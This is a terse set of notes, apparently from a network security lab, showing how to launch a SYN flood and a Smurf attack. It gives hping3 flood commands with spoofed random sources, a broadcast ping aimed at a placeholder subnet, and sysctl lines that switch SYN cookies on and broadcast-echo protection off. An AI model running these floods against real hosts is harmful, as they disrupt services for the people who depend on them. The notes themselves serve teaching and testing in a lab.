1. Syn flood
hping3  --flood -I eth0 -n --rand-source --syn -p 80 localhost

sysctl -w net.ipv4.tcp_syncookies=1

2. Smurf

sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=0
ping -b 172.16.x.255
hping3 -I eth0 -n --rand-source --icmp 172.16.x.255